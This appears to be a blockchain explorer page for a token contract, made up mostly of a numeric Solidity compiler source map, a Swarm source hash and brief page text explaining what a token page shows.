1:30;12557:28;12537:18;;;12530:56;12603:18;;9847:143:0;12277:350:1;9847:143:0;10071:4;10022:28;6866:18;;;:9;:18;;;;;;10115:6;;-1:-1:-1;;;10115:6:0;;;;10114:7;:51;;;;-1:-1:-1;10152:13:0;;-1:-1:-1;;;;;10142:23:0;;;10152:13;;10142:23;10114:51;:83;;;;-1:-1:-1;10186:11:0;;-1:-1:-1;;;10186:11:0;;;;10114:83;:134;;;;;10230:18;;10218:9;;:30;10114:134;:182;;;;-1:-1:-1;;;;;;10270:26:0;;;;;;:18;:26;;;;;;;;10269:27;10114:182;:230;;;;-1:-1:-1;;;;;;10318:26:0;;;;;;:18;:26;;;;;;;;10317:27;10114:230;10092:718;;;10405:17;;10382:20;:40;10379:204;;;10447:116;10490:50;10494:5;10501:38;10505:20;10527:11;;10501:3;:38::i;:::-;10490:3;:50::i;:::-;10447:16;:116::i;:::-;10648:21;10740:35;10753:21;10740:12;:35::i;:::-;10360:450;10092:718;9229:1592;9185:1636;10831:18;10852:26;10871:6;10852:18;:26::i;:::-;10831:47;;10890:17;10909:22;10935:84;10961:6;10982;11003:5;10935:11;:84::i;:::-;10889:130;;;;11030:76;11045:6;11053;11061:10;11073:5;11080:9;11091:14;11030;:76::i;:::-;8618:2496;;;8544:2570;;;:::o;2063:224::-;2183:7;2219:12;2211:6;;;;2203:29;;;;-1:-1:-1;;;2203:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2243:9:0;2255:5;2259:1;2255;:5;:::i;:::-;2243:17;2063:224;-1:-1:-1;;;;;2063:224:0:o;14093:92::-;14150:10;;:27;;-1:-1:-1;;;;;14150:10:0;;;;:27;;;;;14170:6;;14150:10;:27;:10;:27;14170:6;14150:10;:27;;;;;;;;;;;;;;;;;;;7924:269;-1:-1:-1;;;;;8041:19:0;;;;;;:9;:19;;;;;;:31;;8065:6;8041:23;:31::i;:::-;-1:-1:-1;;;;;8019:19:0;;;;;;;:9;:19;;;;;;:53;;;;8104:18;;;;;;;:30;;8127:6;8104:22;:30::i;:::-;-1:-1:-1;;;;;8083:18:0;;;;;;;:9;:18;;;;;;;:51;;;;8150:35;;;;;;;;;;8178:6;1549:25:1;;1537:2;1522:18;;1403:177;12997:107:0;13054:7;13086:1;13082;:5;13081:15;;13095:1;13081:15;;;13091:1;13081:15;13074:22;12997:107;-1:-1:-1;;;12997:107:0:o;13315:483::-;5973:6;:13;;-1:-1:-1;;;;5973:13:0;-1:-1:-1;;;5973:13:0;;;13417:16:::1;::::0;;13431:1:::1;13417:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13417:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13417:16:0::1;13393:40;;13462:4;13444;13449:1;13444:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13444:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13488:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13488:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13444:7;;13488:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13478:4;13483:1;13478:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13478:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13553:15:::1;::::0;13521:62:::1;::::0;13538:4:::1;::::0;13553:15:::1;13571:11:::0;13521:8:::1;:62::i;:::-;13594:15;::::0;:196:::1;::::0;-1:-1:-1;;;13594:196:0;;-1:-1:-1;;;;;13594:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13675:11;;13594:15:::1;::::0;13717:4;;13744::::1;::::0;13764:15:::1;::::0;13594:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6009:6:0;:14;;-1:-1:-1;;;;6009:14:0;;;-1:-1:-1;;;;13315:483:0:o;12833:156::-;-1:-1:-1;;;;;12928:27:0;;12901:7;12928:27;;;:18;:27;;;;;;;;:53;;12976:4;12928:53;;;-1:-1:-1;12958:7:0;12833:156::o;11122:1179::-;-1:-1:-1;;;;;11354:26:0;;11248:7;11354:26;;;:18;:26;;;;;;11248:7;;;;11334:5;;11354:26;;11350:899;;;11409:30;11435:3;11409:21;:5;11435:3;11409:9;:21::i;:::-;:25;;:30::i;:::-;11397:42;;11350:899;;;11485:13;;-1:-1:-1;;;;;11475:23:0;;;11485:13;;11475:23;:75;;;;-1:-1:-1;11534:15:0;;-1:-1:-1;;;;;11515:35:0;;;11534:15;;11515:35;;11475:75;:120;;;;-1:-1:-1;;;;;;11568:27:0;;;;;;:18;:27;;;;;;;;11567:28;11475:120;11457:792;;;11634:207;11837:3;11634:180;11697:15;;11685:9;;:27;11684:111;;11781:14;;11684:111;;;11741:12;;11684:111;11634:5;;:27;:180::i;:207::-;11622:219;-1:-1:-1;11856:27:0;11622:219;11856:27;;:::i;:::-;;;11457:792;;;11916:13;;-1:-1:-1;;;;;11905:24:0;;;11916:13;;11905:24;:51;;;;-1:-1:-1;;;;;;11933:23:0;;11951:4;11933:23;;11905:51;11901:348;;;11985:210;12191:3;11985:183;12048:16;;12036:9;;:28;12035:114;;12134:15;;12035:114;;;12093:13;;11985:5;;:27;:183::i;:210::-;11973:222;-1:-1:-1;12210:27:0;11973:222;12210:27;;:::i;:::-;;;11901:348;12267:9;;;;-1:-1:-1;11122:1179:0;-1:-1:-1;;;;11122:1179:0:o;12309:516::-;12467:13;;12463:165;;-1:-1:-1;;;;;12521:21:0;;;;;;:9;:21;;;;;;:36;;12547:9;12521:25;:36::i;:::-;-1:-1:-1;;;;;12497:21:0;;;;;;;:9;:21;;;;;;;:60;;;;12577:39;;;;;;;;;;12606:9;1549:25:1;;1537:2;1522:18;;1403:177;12577:39:0;;;;;;;;12463:165;-1:-1:-1;;;;;12660:17:0;;;;;;:9;:17;;;;;;:28;;12682:5;12660:21;:28::i;:::-;-1:-1:-1;;;;;12640:17:0;;;;;;;:9;:17;;;;;;:48;;;;12720:18;;;;;;;:38;;12743:14;12720:22;:38::i;:::-;-1:-1:-1;;;;;12699:18:0;;;;;;;:9;:18;;;;;;;:59;;;;12776:41;;;;;;;;;;12802:14;1549:25:1;;1537:2;1522:18;;1403:177;12776:41:0;;;;;;;;12309:516;;;;;;:::o;1919:136::-;1977:7;2004:43;2008:1;2011;2004:43;;;;;;;;;;;;;;;;;:3;:43::i;1732:179::-;1790:7;;1822:5;1826:1;1822;:5;:::i;:::-;1810:17;;1851:1;1846;:6;;1838:46;;;;-1:-1:-1;;;1838:46:0;;13949:2:1;1838:46:0;;;13931:21:1;13988:2;13968:18;;;13961:30;14027:29;14007:18;;;14000:57;14074:18;;1838:46:0;13747:351:1;2295:246:0;2353:7;2377:6;2373:47;;-1:-1:-1;2407:1:0;2400:8;;2373:47;2430:9;2442:5;2446:1;2442;:5;:::i;:::-;2430:17;-1:-1:-1;2475:1:0;2466:5;2470:1;2430:17;2466:5;:::i;:::-;:10;2458:56;;;;-1:-1:-1;;;2458:56:0;;14527:2:1;2458:56:0;;;14509:21:1;14566:2;14546:18;;;14539:30;14605:34;14585:18;;;14578:62;-1:-1:-1;;;14656:18:1;;;14649:31;14697:19;;2458:56:0;14325:397:1;2549:132:0;2607:7;2634:39;2638:1;2641;2634:39;;;;;;;;;;;;;;;;;2809:7;2844:12;2837:5;2829:28;;;;-1:-1:-1;;;2829:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2868:9:0;2880:5;2884:1;2880;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:134::-;820:20;;849:31;820:20;849:31;:::i;:::-;752:134;;;:::o;891:315::-;959:6;967;1020:2;1008:9;999:7;995:23;991:32;988:52;;;1036:1;1033;1026:12;988:52;1075:9;1062:23;1094:31;1119:5;1094:31;:::i;:::-;1144:5;1196:2;1181:18;;;;1168:32;;-1:-1:-1;;;891:315:1:o;1585:456::-;1662:6;1670;1678;1731:2;1719:9;1710:7;1706:23;1702:32;1699:52;;;1747:1;1744;1737:12;1699:52;1786:9;1773:23;1805:31;1830:5;1805:31;:::i;:::-;1855:5;-1:-1:-1;1912:2:1;1897:18;;1884:32;1925:33;1884:32;1925:33;:::i;:::-;1585:456;;1977:7;;-1:-1:-1;;;2031:2:1;2016:18;;;;2003:32;;1585:456::o;2235:127::-;2296:10;2291:3;2287:20;2284:1;2277:31;2327:4;2324:1;2317:15;2351:4;2348:1;2341:15;2367:1121;2451:6;2482:2;2525;2513:9;2504:7;2500:23;2496:32;2493:52;;;2541:1;2538;2531:12;2493:52;2581:9;2568:23;2610:18;2651:2;2643:6;2640:14;2637:34;;;2667:1;2664;2657:12;2637:34;2705:6;2694:9;2690:22;2680:32;;2750:7;2743:4;2739:2;2735:13;2731:27;2721:55;;2772:1;2769;2762:12;2721:55;2808:2;2795:16;2830:2;2826;2823:10;2820:36;;;2836:18;;:::i;:::-;2882:2;2879:1;2875:10;2914:2;2908:9;2977:2;2973:7;2968:2;2964;2960:11;2956:25;2948:6;2944:38;3032:6;3020:10;3017:22;3012:2;3000:10;2997:18;2994:46;2991:72;;;3043:18;;:::i;:::-;3079:2;3072:22;3129:18;;;3163:15;;;;-1:-1:-1;3205:11:1;;;3201:20;;;3233:19;;;3230:39;;;3265:1;3262;3255:12;3230:39;3289:11;;;;3309:148;3325:6;3320:3;3317:15;3309:148;;;3391:23;3410:3;3391:23;:::i;:::-;3379:36;;3342:12;;;;3435;;;;3309:148;;;3476:6;2367:1121;-1:-1:-1;;;;;;;;2367:1121:1:o;3493:247::-;3552:6;3605:2;3593:9;3584:7;3580:23;3576:32;3573:52;;;3621:1;3618;3611:12;3573:52;3660:9;3647:23;3679:31;3704:5;3679:31;:::i;3953:388::-;4021:6;4029;4082:2;4070:9;4061:7;4057:23;4053:32;4050:52;;;4098:1;4095;4088:12;4050:52;4137:9;4124:23;4156:31;4181:5;4156:31;:::i;:::-;4206:5;-1:-1:-1;4263:2:1;4248:18;;4235:32;4276:33;4235:32;4276:33;:::i;:::-;4328:7;4318:17;;;3953:388;;;;;:::o;4346:127::-;4407:10;4402:3;4398:20;4395:1;4388:31;4438:4;4435:1;4428:15;4462:4;4459:1;4452:15;4478:422;4567:1;4610:5;4567:1;4624:270;4645:7;4635:8;4632:21;4624:270;;;4704:4;4700:1;4696:6;4692:17;4686:4;4683:27;4680:53;;;4713:18;;:::i;:::-;4763:7;4753:8;4749:22;4746:55;;;4783:16;;;;4746:55;4862:22;;;;4822:15;;;;4624:270;;;4628:3;4478:422;;;;;:::o;4905:806::-;4954:5;4984:8;4974:80;;-1:-1:-1;5025:1:1;5039:5;;4974:80;5073:4;5063:76;;-1:-1:-1;5110:1:1;5124:5;;5063:76;5155:4;5173:1;5168:59;;;;5241:1;5236:130;;;;5148:218;;5168:59;5198:1;5189:10;;5212:5;;;5236:130;5273:3;5263:8;5260:17;5257:43;;;5280:18;;:::i;:::-;-1:-1:-1;;5336:1:1;5322:16;;5351:5;;5148:218;;5450:2;5440:8;5437:16;5431:3;5425:4;5422:13;5418:36;5412:2;5402:8;5399:16;5394:2;5388:4;5385:12;5381:35;5378:77;5375:159;;;-1:-1:-1;5487:19:1;;;5519:5;;5375:159;5566:34;5591:8;5585:4;5566:34;:::i;:::-;5636:6;5632:1;5628:6;5624:19;5615:7;5612:32;5609:58;;;5647:18;;:::i;:::-;5685:20;;4905:806;-1:-1:-1;;;4905:806:1:o;5716:140::-;5774:5;5803:47;5844:4;5834:8;5830:19;5824:4;5803:47;:::i;5861:168::-;5901:7;5967:1;5963;5959:6;5955:14;5952:1;5949:21;5944:1;5937:9;5930:17;5926:45;5923:71;;;5974:18;;:::i;:::-;-1:-1:-1;6014:9:1;;5861:168::o;6034:356::-;6236:2;6218:21;;;6255:18;;;6248:30;6314:34;6309:2;6294:18;;6287:62;6381:2;6366:18;;6034:356::o;6395:127::-;6456:10;6451:3;6447:20;6444:1;6437:31;6487:4;6484:1;6477:15;6511:4;6508:1;6501:15;6527:135;6566:3;-1:-1:-1;;6587:17:1;;6584:43;;;6607:18;;:::i;:::-;-1:-1:-1;6654:1:1;6643:13;;6527:135::o;7364:251::-;7434:6;7487:2;7475:9;7466:7;7462:23;7458:32;7455:52;;;7503:1;7500;7493:12;7455:52;7535:9;7529:16;7554:31;7579:5;7554:31;:::i;8541:306::-;8629:6;8637;8645;8698:2;8686:9;8677:7;8673:23;8669:32;8666:52;;;8714:1;8711;8704:12;8666:52;8743:9;8737:16;8727:26;;8793:2;8782:9;8778:18;8772:25;8762:35;;8837:2;8826:9;8822:18;8816:25;8806:35;;8541:306;;;;;:::o;9131:277::-;9198:6;9251:2;9239:9;9230:7;9226:23;9222:32;9219:52;;;9267:1;9264;9257:12;9219:52;9299:9;9293:16;9352:5;9345:13;9338:21;9331:5;9328:32;9318:60;;9374:1;9371;9364:12;12144:128;12184:3;12215:1;12211:6;12208:1;12205:13;12202:39;;;12221:18;;:::i;:::-;-1:-1:-1;12257:9:1;;12144:128::o;12632:125::-;12672:4;12700:1;12697;12694:8;12691:34;;;12705:18;;:::i;:::-;-1:-1:-1;12742:9:1;;12632:125::o;12762:980::-;13024:4;13072:3;13061:9;13057:19;13103:6;13092:9;13085:25;13129:2;13167:6;13162:2;13151:9;13147:18;13140:34;13210:3;13205:2;13194:9;13190:18;13183:31;13234:6;13269;13263:13;13300:6;13292;13285:22;13338:3;13327:9;13323:19;13316:26;;13377:2;13369:6;13365:15;13351:29;;13398:1;13408:195;13422:6;13419:1;13416:13;13408:195;;;13487:13;;-1:-1:-1;;;;;13483:39:1;13471:52;;13578:15;;;;13543:12;;;;13519:1;13437:9;13408:195;;;-1:-1:-1;;;;;;;13659:32:1;;;;13654:2;13639:18;;13632:60;-1:-1:-1;;;13723:3:1;13708:19;13701:35;13620:3;12762:980;-1:-1:-1;;;12762:980:1:o;14103:217::-;14143:1;14169;14159:132;;14213:10;14208:3;14204:20;14201:1;14194:31;14248:4;14245:1;14238:15;14276:4;14273:1;14266:15;14159:132;-1:-1:-1;14305:9:1;;14103:217::o

Swarm Source

ipfs://46b87b50bba8338cc0301a7802c2f7a838a2afd8661ed38c35bb48f14cd4a08a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.